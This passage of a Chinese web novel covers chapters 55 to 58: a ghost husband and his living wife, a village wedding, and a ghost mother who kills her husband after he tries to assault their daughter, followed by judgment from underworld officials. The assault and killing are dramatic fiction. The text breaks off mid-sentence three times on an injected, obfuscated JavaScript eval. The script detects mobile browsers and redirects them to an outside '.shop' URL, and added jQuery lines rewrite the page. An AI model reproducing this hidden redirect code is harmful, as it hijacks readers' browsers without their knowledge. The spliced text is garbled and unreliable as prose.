他说着,同时伸手揽抱住钟颖的腰,“上岸后不久,我爹应该就会带着我去你家‘负责’,我还是会娶你。” 钟颖接上,“但你会心不甘情不愿,毕竟你是被算计的。” 李霖时皱眉,但想了想,按当初的情形,他确实会如此。 “结了婚八成也会是相敬如冰,不过,”钟颖转换到自己的视角设想,“我可能会乐见其成,正好离你远远的。” 李霖时眉间痕迹更深,手下用力,变成了死死扣住她的腰。 钟颖睨他一眼,“干嘛?不离你远点难道要给你生孩子吗?” 李霖时一噎,他已经很明白钟颖非要嫁给他图的是什么了,图他是死的、图他不会喘气、图不用生孩子。 钟颖继续想象,“我也不会和你坦白‘借尸还魂’的事,我原本的生活一句都不可能和你讲的。” 李霖时这下彻底冷下脸来,颜色鲜嫩的衣服都抵挡不住那股子死气沉沉的阴冷气息。 “拜托,我又想死了才会和别人讲这些事情。”钟颖倒是理直气壮,她现在回想,自觉当初她敢和盘托出其实也有部分原因是仗着别人看不见李霖时,不用担心她穿越重生的秘密会被说出去。 李霖时沉默,换位思考,要是他的话也不可能对别人说,毕竟那些事情都太离奇了。 可他一想到另一种可能里,钟颖对他的态度会是疏离、隐瞒……李霖时只是想想就觉得难以承受。 钟颖安慰道,“所以说啊,现在已经是最好的情况了。” 李霖时眉头松开,心下刚有些触动,下一秒却动作迅速的按住某只蠢蠢欲动的手,感动在短瞬间又变成了无奈,他看着钟颖微微歪头,眉眼舒展开,脸上露出一个无可奈何的浅笑,“我刚有些感动……” 钟颖的手还停留在从粉色衣服下摆偷溜进去的动作,被当场抓包她也丝毫不虚,眼不眨一下,“没人说走心的同时不能走肾。” 谁让这鬼除了接吻,再不做别的了,简直就像是脖子以下皆为违禁行为,但人的劣根性,越不让做什么就越想做,钟颖也不能例外,反而被他的保守勾得越来越“馋”。 钟颖睁着眼说瞎话,“我就是想暖暖手。”顺便摸摸腹肌。 “……昨天是立夏。”李霖时说。 李霖时没见过钟颖这样子的姑娘,坦然到直白的表现出欲求,不过他也不得不承认,她对他的色心很大程度上缓解了他的患得患失。 李霖时附身,低头轻轻吻上钟颖的唇角,带着满腔温柔缱绻,珍惜的含吮,片刻后欲念加深,变成急风骤雨,一只手仍抓住她的皓腕,另一只手则紧紧箍住掌下的腰肢。 那种近乎“食欲”的欲望他又何尝没有。 只是…… 还是钟颖把李霖时推开,他不需要喘气,但她需要啊。 李霖时却也没直起身子,仍弯着腰,额头抵住额头,亲昵又缱绻的姿势,他仍抱着怀里的人,低哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694161|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音带着克制隐忍的欲望,呢喃着安抚,“你忍一下……” 既像是在哄她,又像是在告诫自己。 李霖时不想为了一时的贪欢害了钟颖。 —— 贴了大红喜字的木门前鞭炮炸响,钟春生吹着欢快高昂的唢呐走在拉着新娘子的牛车前带路,还有一旁孩子们欢快的叫嚷声、大人们带着笑意的吆喝声,共同协奏成喜气洋洋的乐章。 同甘生产队好久没有这般热闹过了,一时之间几乎所有人都过来沾个喜气。 李霖时看着别人婚事的喜庆热闹,倒是心情平静,只牵着身边人,十指相扣。 钟颖拽了拽他,朝一个方向努嘴,趁着人多嘈杂、人们又都关注在新娘身上,大胆和身旁鬼说悄悄话,“你大哥去当‘礼部尚书’了。” 她总能冒出些李霖时听不太懂的话,好在他脑子转得快,十有八九也能搞懂。李霖时顺着她示意的方向看去,就见他大哥李钢时被刘家大表哥刘福顺强拽到一张桌子前坐下。 “帮帮忙,咱们生产队就属你读书会写字。”刘福顺说着,将人强按到凳子上。 李钢时虽然知道这个表弟是故意夸大其词的吹捧,同甘生产队不说那几个知青,其实也能再找出几个识字、会写字的人来,但他还是心中受用,半推半就的坐下了,拿起笔在本子上记起各家送的礼金,大多都是五角、一元。 李霖时看了一会儿,才反应过来钟颖说的话是什么意思,他不由得失笑。 “新娘子!新娘子——”小孩子们稀罕的簇拥着穿了一身崭新红褂子的钟妮,像叽叽喳喳的麻雀。 新郎刘广田穿着一身草绿军便服,胸口别着红布扎成花,显出一种别样的精气神儿,嘴角就没放平过,匆匆几步上前,伸手扶住要从牛车上下来的钟妮。 “新郎官着急了哟——”胡打听扬声调侃,带起了大人们纷纷附和的打趣。 两个年轻男女顿时脸庞涨红。 李明作为同甘生产队的队长,最得高望远的人,站在新房院子的中央,为年轻人们证婚,他一向严肃正色的脸在今天也多了几分笑意,“刘广田同志和钟妮同志,今天在主席的光辉照耀下,结为革命夫妻!往后两人要互帮互助、努力生产,争当劳动模范!” 众人齐齐用力鼓起掌来,曹芳站在其中,就算其他人听不见,她也使劲儿鼓着掌,满脸的欣慰和感慨,眼中含笑,目光专注的看着精神奕奕的一对新人。 有人抬手放在嘴边,大声吆喝着,“和和美美!” 紧跟着另一道声音接上,“早生贵子!” 见新郎新娘又羞红了脸,众人发出一片哄笑声。 “真好,”曹芳感慨万千,她在人世间至今停驻了有十七年的执念就是盼着闺女能嫁给个好青年,眼下终于亲眼看到了,她欣慰的同时又有些怅然,“等见了妮儿回门,我就该走了。” 婚后第三天,新婚夫妻会女方家里见父母,这就是“回门”,才算是完整的走完婚事流程,之后就是小夫妻自己过日子了。 钟颖看着眼前的一片热闹、每个人脸上洋溢着大大的笑容,不知怎么她却莫名的生出些隐隐的不安,就像是自然界中动物对于危机本能的感应,又像是看多了连续剧那套路般欲抑先扬的转折剧情…… 钟颖心口发紧,手上也无意识的用力。 李霖时感受到自己的手被用力攥了一下,他以为钟颖又有话想对他说,自觉的弯腰低头,凑近过来,却没听到她说话。 “怎么了?”李霖时侧首看她,奇怪的问了一句。 钟颖觉得这种不安感简直没来由,强压下去,对李霖时摇了摇头,脸上重新扬起笑容,“没什么。” 56. 回门 钟颖睡得昏昏沉沉,意识模糊间仿佛感觉有什么温凉的柔软贴了一下她的额头,没过多久脸颊又传来一阵被轻轻摩挲的感觉…… 钟颖不胜其扰,拧着眉翻身转过去,一头埋进被子里。 可紧接着就被“挖”了出来,细细密密的吻从唇角碾过唇瓣,这下钟颖终于醒过来了。 抢在钟颖问责前,李霖时低声说,“大伯娘过来了。” 曹芳其实已经过来有一会儿了,李霖时在她进入院中时就有所察觉,闪身出来迎了迎,让她先到堂屋里坐着等。 看到钟颖,曹芳立刻站起身来,有些歉意地说,“颖妮儿,是不是打扰到你睡觉了?我还和霖时小子说了的,别让他叫你。” 钟颖目光扫过堂屋墙上的钟表,摇摇头,实话实说,“没,这就是我往常起床的时间。” 曹芳这才稍微松了口气,伸手把桌上装着黄色果子的篮筐提起来,“这是我昨晚上去颖山上摘的黄泡,你拿去吃,这些日子劳你为我和妮儿娘俩出力了。” “妮儿现在能嫁去个好归宿,也多亏了你,我想要道谢,也只能摘些野果子吃食,你别嫌弃。”曹芳说着就把手里的提篮硬塞给钟颖。 钟颖抵不过大伯娘的力气,只能收下。 “今儿个妮儿回门,作为娘家人我再参与这一回,”曹芳释然一笑,“然后我就要走了,这人世间我也确实待了太长时间。” 曹芳的执念就是一双儿女,尤其是放心不下闺女,现在钟妮结婚嫁人,未来有丈夫看护着她,她这个当娘的终于可以放下心来去投胎了。 “孩子大了,我该放手了……”曹芳怅然。 那种不安感又隐隐浮现,钟颖开口,“大伯娘——” 曹芳收拾好情绪,振作起来,笑道,“好了,我不耽误你的时间了,过会儿还要去上工吧,我也要回家里等妮儿和广田回门了。” 昨晚上在李家吃饭时,钟颖就听李明闲聊时提起了,考虑到出嫁女回门是必不可少的习俗,他特别通融给刘广田和钟妮,她爹钟秋收、弟弟钟拴柱批了一天假,不用来上工。 生产队其他社员照旧上工,钟颖也不例外。 送走曹芳后,李霖时见钟颖蹙眉沉思,以为她是难过大伯娘将要离开,上前揽住她的肩膀,轻声安慰了几句,“天下没有不散的宴席,大伯娘也该有新的人生了。” 钟颖仍眉头不展,“我只是……说不上来,但总感觉有些不安。” “不安?”李霖时疑惑。 “总觉得像是立了个flag……”钟颖喃喃道,说完她想起李霖时听不懂,给他解释了一下,“类似于‘打完这仗就回家结婚’、‘干完这单就收手’,然后就be了。‘be’是badending,坏结局……” 李霖时接收完种种新鲜概念,很快理解了钟颖的担忧,“你是觉得大伯娘在钟妮回门后就离开的话像立了个flag?” 钟颖点点头。 “不会的,”李霖时安慰道,“别忘了大伯娘可是有一把子力气,就算是我和她硬对上,也没那么容易打得过她。” 钟颖一想,也是,大伯娘可不是一般妇人,而是有着超大力气的女鬼,她到底在不安什么啊。 钟颖不再胡思乱想,麻利的洗漱换衣服就去隔壁婆家“大食堂”吃饭。 另一边,刘家也是一大家子聚在一起吃着早饭,同样的分房不分家,几个媳妇挨着自己男人坐,照看着各自的孩子吃饭。 “广田媳妇,等会儿回娘家的时候拿上那些红鸡蛋和三斤白面,你大嫂已经包好放在那边凳子上的筐子里了。”林淑红在饭桌上就嘱咐道,“东西不算多,让你爹别嫌弃。” 钟妮连忙摇头,咽下嘴里的食物,连声道谢,“礼不轻了,谢谢爹娘、谢谢嫂子。” 林淑红的目光又落到二儿媳身上,关心的询问,“满仓家的,你怎么看上去脸色这么难看?身体不舒服?要不让你爹跟队长说一声,你也今天请个假在家休息?” 范大妮脸色是有些发白,但她强打起精神,摇了摇头,“娘我没事。” 饭后,刘家人都去上工,刘广田陪着媳妇钟妮回娘家。 钟拴柱早就站在家门口等着了,见两人过来,和姐姐相似的一双大眼睛顿时亮起,扬声喊道,“姐,姐夫!” 曹芳闻声迫不及待的飘了过来,只有钟秋收仍端坐在堂屋里。 “好,好……”曹芳打量着闺女的样子,连声说道。 女人的生活过得好不好其实从脸上就能看出来,像她生前,明明还活着,但脸上已经显露出一种死气沉沉的衰败,而钟妮此刻双颊红润、眼眸明亮,一看就是日子过得顺心的模样。 钟秋收看到女儿、女婿进门,也不由得一怔,恍惚间回想起了曾经的曹芳,她和她娘长得真像…… 钟妮一到家,熟练的挽起袖子,进了厨房开始做饭。本来出嫁女回门的宴席都是当娘的置办,但现在只能她自己来做了。 “姐,我来帮你。”钟拴柱钻进厨房,“爹拿出来酒,已经和姐夫喝上了。” 钟妮不赞同的皱眉,“饭还没做出来就喝酒?” “不然干坐着?”尽管没有别人在,钟拴柱还是压低了声音,小声吐槽道,“姐夫可真像块木头,问一句才答一句。” 钟妮抿唇羞涩一笑,“他做的多就行了。” 曹芳飘在旁边,附和的点点头,总比那只会说不会做的男人强。 钟妮做多了手上的活,利落的切着菜,目光扫过没什么变化的厨房,问了弟弟一句,“这几天你和爹是怎么吃饭的?谁做饭?” “凑合着吃呗,”钟拴柱瘪着嘴,“爹又不会做饭,只能我来做,好歹我帮忙打下手的时候还见过姐做饭。” 钟妮想想也能知道弟弟做出来的饭会是什么样子,可能真就只能凑合着吃,但她也无法,嫁了人总不能还天天往娘家跑,给一老一少做饭,她有她自己的日子要过了。 好在钟拴柱也是个想得明白的,也没说什么让钟妮为难的话,只玩笑般的说道,“姐回来可算是能吃上顿好的了,我要吃个饱!” 钟妮扬起笑容,“那我做多点饭。” 最后摆上桌的饭菜确实不少,这顿晌午饭丰盛,被人们吃得七七八八,酒壶空荡荡的倒地,人也一个个的醉倒。 刘广田是最先喝趴下的,他嘴笨,不会说好听的话讨老丈人的欢心,只能陪着一杯杯的喝酒。 钟秋收闭着眼,醉醺醺的仰靠在椅背上。 就连钟拴柱,趁着他爹和姐夫喝酒的动作,悄悄给自己杯子里倒了一点米酒,他年纪小、头回喝这种东西,几口就醉倒了。 唯一清醒着的人就只有钟妮。 怪不得李队长给批了一天的假,怕是早有预料会出现这种情形,钟妮想着,一边头痛的把人一个个扶回屋子。 钟妮先是扛着刘广田的胳膊,把人扶到她先前屋子里躺下;又去把弟弟拴柱扶回他自己的屋子。 曹芳不忍女儿辛苦,悄悄帮她承担部分重量。 但尽管如此,扶两个烂醉如泥的男人回屋也让钟妮累得不行,她站着歇了口气,才上前去扶她爹回屋。 钟秋收虚眯着眼睛,看着闺女使出浑身力气扛着他的胳膊、扶着他的身子往床边走,他突然心头涌上一股恶念。 钟妮刚走到床边,想把她爹放下,却猛地天旋地转,她被压在了床上。 钟妮震惊,就连一旁的曹芳都脑子一懵,仿佛一锤子砸中脑袋,都被钟秋收突然的发难震惊到回不过神来。 钟秋收黝黑的脸上带着醉酒的坨红,此刻狰狞得仿佛人间厉鬼,“我做鳏夫十七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702839|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年了,你娘欠我的,你来还吧——” 说着他手下一个用力,撕扯开了衣领,脱了线的扣子伶仃的掉落在地。 钟妮脸色刷得一下就白了,意识到钟秋收要做什么,她立刻奋力挣扎起来,惊恐的声音变了调,“爹!爹你要断送我的好日子吗?” “我自己都没有好日子过,你凭什么有好日子过?”钟秋收依靠他身为男性的力量压制住钟妮,“你娘是我媳妇,你是我闺女,都该是我的!” 钟妮怎么挣扎都仿佛徒劳,求救声无人听到,弟弟、丈夫醉倒、生产队的其他人都在地里干活,没人能救她……泪水从眼眶中滑落,只觉黑暗在一瞬间降临她的世界—— “啊!!!”曹芳回过神来,她简直要疯了! 钟秋收正心中得意自己身为男人力气大,可下一秒他却被一股更大de力量掀了出去,接着,如同铁钳一般有什么掐住了他的脖子,他奋力挣扎,伸手想要去拽,可怎么都挣扎不开、怎么都拽不到实处。 曹芳脸上一片厉色,眼中流露出几分非人的恐怖阴气,“你个老畜牲!这么些年也是这副左性,早些年看你弟弟日子过得好就想害他儿子,现在你闺女好不容易离了你能有好日子过,你又想害了她……” 钟妮手脚瘫软的爬起身来,惊恐不定的看向倒在地上不停挣扎的钟秋收。 她看不见曹芳,自然也察觉不到曹芳看过来的目光。 曹芳看着女儿,要不是今天有她在,她简直不敢想,接下来发生在女儿身上的会是什么事情! 田地里,同甘生产队的众人无知无觉的埋头劳作。 陪在钟颖身边给她降低周围日晒温度的李霖时突然站直,听到了一声尖利愤慨的喊声,他心下一沉,“出事了。” 钟颖闻声一激灵,也立刻直起身子。 李霖时本想拉着钟颖带她离开,但周围地里还有很多人在,他只能放弃,“我先过去看看情况。” 说完,他身形破碎,散作无数水滴融入泥土中。 李霖时能水遁,钟颖则祭出一招尿遁。 “爹,我回家上个茅房!”钟颖匆匆喊了一声,放下手里的锄头就跑了。 倒是留下李明和钟春生面面相觑,不怪他们都下意识抬头,毕竟都是爹。 钟颖跑得很急,没在村口的自家门口停下,而是一路往村子里面跑。 李霖时比她早到,看清屋子里面的情形时,他一惊,立刻就想要上前去拉开曹芳。 “霖时小子你别过来!”曹芳沉着脸,此刻她已经平静下来了,“我知道我要做什么。” 李霖时本还想去拦,但瞥见一侧钟妮的衣领,他迅速撇开头,却没有再上前了。 曹芳仍掐着钟秋收的脖子没松手,甚至更加用力。 她要杀了他。 钟秋收就像是一块永远好不了的疮,他性子就是看不得别人好,钟春生能及时止损和这个哥哥断亲,但她的两个孩子怎么和这个爹断亲? 即便这老东西也没帮上多少忙,都是她闺女钟妮把弟弟拉扯长大的,但在世人眼里,一顶孝道的大帽子也压在两个孩子的头上。 就算钟妮把今天的事情说出去,八成也不会对钟秋收造成什么影响,反倒人们会指指点点背后说她家妮儿。 但留着这老东西,谁知道他哪天又邪性上来了,还要去坏闺女的好日子、甚至未来拴柱的好日子。 既然如此,她就替孩子们剜了这“疮”。 曹芳知道自己要做什么,也知道自己这么做的后果是什么,但她还是坚定的这么做了。 钟颖粗喘着气闯进她大伯家中,见到的就是钟秋收颓然落下的手,她倏地睁大了眼睛,震惊到失声喊出,“大伯娘——” 钟妮看向堂姐,表情一瞬间变得惊愕意外,“……我娘?” 57. 地灵 因为太过震惊,钟颖甚至没注意到屋子里的另一个人,只顾着冲上前去拉开曹芳,“你忘了吗?杀人是要进畜生道的!” 曹芳这回倒是顺从的松开了手,男人如破布娃娃一样无力的瘫倒在地上。 钟颖伸手去摸钟秋收脖颈上的脉搏,手指微颤。 她其实并不在意这个大伯的死活,钟颖可是还记得钟秋收曾经想要害她哥的事情,这种烂人死就死了,她担心的是大伯娘。 钟颖不死心的挪了好几处位置,都没有感受到任何的跳动。 李霖时察觉到什么,鬼魅一般冲上前抱住钟颖,将她从男人身边带离。 钟秋收茫然的坐起身来,直到看见倒地不起的身体,他大脑空白了好一会儿,懵懵然抬头四处看,在看到曹芳时,他吓了一大跳,任谁突然看到一个死去十七年的人都会被吓到。 但很快,钟秋收明白过来,一切都明白了,他就在想怎么也没摸到有手掐在他脖子上、可偏偏怎么都挣扎不开那股巨大的力气,简直像见了鬼一样,原来真的是鬼来索命! 可“他”倒在地上,那他现在是什么? 钟秋收猛地暴起,他现在也是鬼了!曹芳害死了他! 比起屋子里另外两道飘渺的身影,钟秋收的魂魄像是染了一层脏乎乎的黑灰,他狰狞着扑向曹芳,还把她当作是过去那个任他欺负的弱质女流,全然忘记刚才他怎么都挣扎不开的大力就源自于她。 曹芳抬脚毫不留情的把他踹开。 钟秋收狼狈的摔到墙上,又扑倒在地面上。 “为什么要杀我……”他周身怨气如粘稠的黑色物质,爬起身来还想再冲向曹芳。 从地面骤然升起细细密密的水线,如极强韧的细绳,缠住钟秋收的四肢,困住他的行动。 李霖时出手了。 曹芳眼中的愤恨不比钟秋收少,她恶狠狠的盯着他,“为什么?你自己做的那肮脏事还要我说?你以为没人看到,我看到了!当着我的面就要欺负我闺女!你这个禽兽不如的老东西!” 钟颖闻言,这才扭头看去,在看到钟妮此刻的样子后,她又难以置信的看向钟秋收,人干事? 曹芳起身,走到钟秋收面前,抬手就是不予余力的一巴掌,直把他掼歪了身子,靠手脚上束缚的水绳才勉强稳住。 “不就靠着身为男人,有那么一把子力气才敢乱来的吗?”曹芳嘲讽,“怎么样?这力气够大吗?你也感受一下吧。” 钟秋收使劲挣扎,可他却使不出任何能力,凭什么,都是鬼,凭什么曹芳能够有巨力,凭什么李霖时抬手就能操控水? 曹芳反手又是一巴掌,“你总是这样,盯着别人。别人为什么不能比你强、比你日子过得好?你又算老几?宁肯毁了别人,也不许别人过得比你好?和你牵扯上的人真是倒了八辈子的血霉,才摊上你这个一个老烂货!” 钟秋收感觉被冒犯,怒瞪着她,“曹芳!你怎么敢这样和我说话!” “是,你是男人,是家里当家作主的人,”曹芳面色一冷,“所以我才不顾一切都要杀了你。” “你活着,今天能毁了闺女的日子,明天也能拖累儿子的生活,”曹芳头脑冷静的说着,“只要你把自己摆在当‘爹’的位置上,两个孩子就拿你没办法。” “就像今天,你依仗的无非也是你是个男人,你做的事情说来也还是女人更吃亏,哪怕让人知道,男人间的袒护也会让你安然无事,你吃准了这些,才敢肆无忌惮的做出这种不要脸的畜牲行径。” 曹芳不带任何感情的俯瞰着面容老去的男人,“无人制裁你,那就我来。” 不再多看一眼那肮脏货,曹芳飘回到钟妮身边,冷若冰霜的脸上又重新染上温情,她轻轻将女儿凌乱的头发抚平,即使知道钟妮听不见她的声音,仍安抚道,“吓坏了吧?没事了,以后都没事了。” 钟妮是听不到,但能感受到碎发被掖到耳后,扯开的衣领被温柔合拢,她突然嚎啕大哭起来,哭得悲痛又委屈,眼泪大颗大颗的穿过曹芳的身体,落到床上的被褥上。 “娘……”钟妮呜咽不清的喊着,“娘……” 曹芳只抱着她,像她小时那样轻拍着她的脊背,“娘在呢,娘一直都在。” 钟颖看着母女两个,不忍的埋进李霖时的怀里。 李霖时只沉默的将她抱紧,他们心里都清楚,等待曹芳的会是什么。 牛头马面的身形出现,看清屋子里的场景时俱是一愣,一边一个鬼抱着一个人,还都是旧相识,生面孔的那个鬼正发狂似的挣扎着,试图挣开身上的水绳。 钟秋收先是唬了一下,随即像看到靠山一般,欣喜若狂的嘶吼着指控,“就是她!抓曹芳啊!她都变成鬼了还来害人性命!让她下十八层地狱!” 马面拧眉,看向曹芳,“鬼杀人是要进畜生道的,这点你十七年前就已经知道了。” 曹芳满脸平静,轻轻颔首,“我知道。” “那现在你是想要和我们一同离开去投胎,还是仍留在人间?”马面仍然很民主的说,“珍惜这个机会,你仅剩这一次选择的权利。” 牛头终于收回了惊奇的盯着男鬼女人看的目光,插嘴道,“我劝你还是跟俺俩走吧,以前也不是没有杀了人的鬼,害怕下辈子做畜生,就一直留在人间,最后等亲人们忘记他,自然就灰飞烟灭了,连下辈子都没有了。” 他刚说完,又像是想起什么,补充道,“哦也有想要再次作恶的,那种鬼不用被遗忘,俺俩抓住就会立刻出手让他灰飞烟灭的。” 曹芳迟疑,“我……” 钟颖立刻推开李霖时,从他怀里出来,“等一下,我们人类社会中有个词叫‘为民除害’!” 李霖时知道钟颖是心下着急,但被推开那一下,他还是难免抿紧了唇。 “有时候杀人不一定是存了害人的心,有可能是自卫,也有可能是为了保护他人!”钟颖感觉自己确实是有那么一点的顺杆子往上爬,不过是打过几次照面,她现在都敢直接对话阴差了,“钟秋收的死完全是咎由自取,一个对女儿都能下得了手的恶人!” 钟颖怕这些还不够证明钟秋收的死有余辜,“还有我哥,当年我哥才五岁多,差点让他哄走给害了!” 钟妮虽然看不见,但听堂姐对着虚空说话,好似在帮她娘说话,她立刻意识到什么,连忙从瘫坐的姿势变成跪在床上,语气急切,“我娘都是为了我才这么做的,她是看我爹动我才气疯的,请、请各位大人宽宏大量!” 马面这时才将目光落到在场的两个人身上,作为阴差,长年累月和鬼打交道,对于那些仍活着的人,反倒在他眼中是一扫而过的透明存在。 仿佛玻璃珠般的晶透眼睛直直盯着两人,面无表情的马头带着一种非人的冰冷审视。 一道水幕挡在钟颖面前,再次凝成李霖时的样子,用他修长高大的身形完全遮挡住钟颖。 曹芳也连忙上前挡在女儿身前,“我愿意去投畜生道,我动手前就已经想清楚后果了!” 马面不在意两鬼的警惕,他已经看出了点东西。 摊放在他手掌上的记事本簌簌自行翻开,随着他的心意先停在了某一页,马面看了看纸上浮现的文字,心中的猜测有了定论,接着纸张再次无风翻动,停到了另一页,阅读起钟秋收的生平经历。 “确实如你所说,谋害亲弟弟的儿子、谋害亲生女儿……”马面漠然说道。 钟秋收大喊着,“我又没真的害死他们!” 曹芳啐了他一口,“第一次是颖妮儿哭闹着不让你把她哥带走,第二次是我拦下来,不然俩孩子都要让你给害死了!” “我没害死那就不算!”钟秋收强辩道,“而且闺女是我的,我想干什么都行!” 被李霖时挡在身后的钟颖听着不由得面露鄙夷,她大概能理解钟秋收的三观,这类的男人把妻子、女儿当作自己的所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708291|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,对她们充满掌控欲,所以什么事情都能做得出来,还当作是理所应当。 马面无视吵起来的两鬼,直直的看向李霖时,“所以,你怎么看呢——” 他有些生疏的念出一个名字,“钟、颖。” 原来他看的不是李霖时,而是李霖时护在身后的钟颖。 一时之间所有人、鬼俱是惊讶,就连牛头都诧异的看向老伙计。 钟颖探出个脑袋,“我吗?” 马面肯定的点了下头。 机会摆到面前,钟颖自然就不客气了,“既然我大伯娘杀的是恶人,自然希望能够根据情节对她从轻发落。” 钟颖说的时候其实也没抱多少希望,她一个人的话能有多少分量,怎么可能影响鬼差们的行事。 谁知马面还真的应了一声,“我会上报判官。” 这下牛头都毫不掩饰的张大了嘴。 钟秋收气得跳脚,“凭什么?凭什么一个丫头片子说的话都算数?杀了我为什么不往重里罚?还有没有天理了?” “你这样的人没有一点惩罚、只是死了,转头又能投胎做人,才是没有天理!”钟颖忍不住吐槽。 马面开口,“不是的,他要先下十八层地狱炼化。” 钟秋收不干了,他看了看曹芳,又看了看李霖时,“那我也要留在人间,我不走了!” 牛头手中的铁链如游蛇一般出动,李霖时察觉到迅速手心一翻。 钟秋收刚高兴束缚着他的水绳消失,可接着更粗的铁链迅如闪电般将他一圈圈捆住。 牛头露出憨厚的笑容,用力一拽,就将鬼抓在了手中,“你和他俩可不一样,就冲你这一身的黑气,俺们也不能放任你呆在人间作恶哇。你放心,地下那火可是好火,烧个百八十年烧去身上的‘恶气’,你就会是好鬼了。” 人有恶人,鬼有恶鬼,恶人死后是恶鬼,恶鬼投胎是恶人,不加以干涉处理的话简直就是祸事生产永动机。 牛头马面带着两鬼离开。 “哈哈要下十八层地狱的人是你!”曹芳替儿女们解决了后患,又见钟秋收这惨样,她也不在乎自己要投畜生道的事情了,只觉畅快又解气,“果然还是存在天理!” 钟秋收愤恨,只能按着一个点攻击她,“你下辈子要做畜生,你得意什么!” “那总比你这辈子就是人模样的畜生好!” 牛头不去管两鬼互骂,他从刚刚就满肚子疑惑,问马面,“你咋回事啊?” 马面知道他问的是什么,只平淡的回答,“每次缉鬼不是要听一听。” 纸上文字终究只是书写一个人的生平经历,但并不能展现一个人的全部,作为四处行走的阴差,肯定不如当地的守护神对逝者的了解多,所以大多时候都会听听他们的看法。 “那怎么能一样!”牛头反驳道,“你问鱼灵、问土地婆、问黑驴山神,我都不会惊讶,可你问的是一个活人哎!” 马面只扭头平静的看他一眼,“你怎么能确定她是人。” 牛头懵了,“啥意思?” 视线扫过被捆着的钟秋收,“黑色的。” 又落到曹芳身上,“白色的。” 马面收回目光,“她身上有若隐若现的绿色。” 牛头挠了挠自己的牛角,又说了一遍,“啥意思?绿色?人与鬼不都是黑色、白色的吗?只有神、灵才会是别的颜色,对了,那年轻水鬼的颜色变了哎!你一定是看错了,水鬼和人站得那么近,蓝色、绿色本来就很相近……” 牛头不再困惑,只兴冲冲地说,“我看水鬼是要变成‘地灵’了!” 人有“人杰”,鬼有“地灵”,但都是万里挑一,尤其是“地灵”,没有点奇遇造化,还真是很难让鬼超脱生死轮回,迈上“灵”的新台阶。 也不怪牛头新奇,几千年年来,他也就只见过一个鬼变成了地灵,甘霖河里的这水鬼是他见过的第二例,真厉害! 58. 安心 钟秋收喝酒把自己喝死了。 对外的说法是这样的,同甘生产队的众人也没有怀疑的,毕竟钟秋收死时只有钟颖和钟妮在场,他不是自己喝死的难道还能是俩丫头给害死的?一个是亲闺女、一个是亲侄女,怎么可能! 更没人会想到钟秋收是被他死了已经有十七年的媳妇杀死的。 喝酒把自己喝死的,反而是最合乎常理、最能被人们接受的说法。 人走茶凉,钟秋收的身后事办得凄凉,亲缘淡薄、无朋无友在他死后显露得清清楚楚。 钟秋收在生产队里没什么朋友,连亲弟弟的孩子都敢害的人谁敢和他沾边啊; 十八年前就闹掰断亲,即使是血缘亲近的兄弟也早已形同陌路,听到大哥的死讯,钟春生只是沉默了很长时间,而邓霞则扬眉吐气,还私下拉着钟颖悄悄吐槽。 “真的恶有恶报!那老祸害可终于是死了,要不是当年你哥没事,不然老娘当时就和他拼命了!他还能活到现在这把岁数?”邓霞面露凶狠。 钟颖不禁暗暗腹诽,惹谁不行非要惹当娘的,钟秋收一次两次都朝着孩子下手,龙之逆鳞、触之必死,他死得其所。 最后,也只有钟妮、钟拴柱姐弟俩在丧礼上难掩悲伤,尤其是钟妮,哭得肝肠寸断,这才惹得围观的村民们见哭生悲,在心中唏嘘,钟妮是个有孝心的好闺女啊! 刘广田扶住哭到脱力的媳妇,心里愧疚翻涌,好好的回门宴却变成生死永别,他要是能言善道些,劝着老丈人少喝点酒,是不是就不会发生这样的悲剧了? 只有钟妮自己知道她哭的是什么、是为谁而哭。 她哭孺慕了二十年的爹其实是面容狰狞、披着人皮的恶鬼,她哭原来在她幼年时就去世的娘从未离开过她,她哭她娘为了她失去了下辈子做人的机会…… 万种情绪交织、充斥在钟妮的胸膛,她不知道该怎么办、不知道该宣泄这种难受,只能嚎啕大哭。 短短几天的时间,钟妮消瘦了许多,新嫁娘的精气神荡然无存,她知道自己不该这么想,但她控制不住,念头像潮涨潮落的海水,一遍一遍在她脑子里反复浮现。 钟妮觉得是她害了她娘,要是没有她,她娘早就去投胎了,也不至于为了她留在人间十几年、最后还落得一个下辈子只能做畜生的结果。 要是没有她就好了…… 她要是也和两个哥哥一样早夭就好了…… 要是可以选择,钟妮宁愿自己从一开始就不存在,来换她娘能够有个好结局。 直到钟颖来找她。 钟颖提着一个藤编筐子,看着哀毁骨立的钟妮心情有些复杂,默默的把筐子递给她。 钟妮动作机械的接过来,盖在筐子里的碎布头被顶开,她无神的双目在看清里面是什么之后,顿时睁大,那是一只刚出生没多久的小黄狗,钟妮像是想到什么一般,极快的扭头去看堂姐。 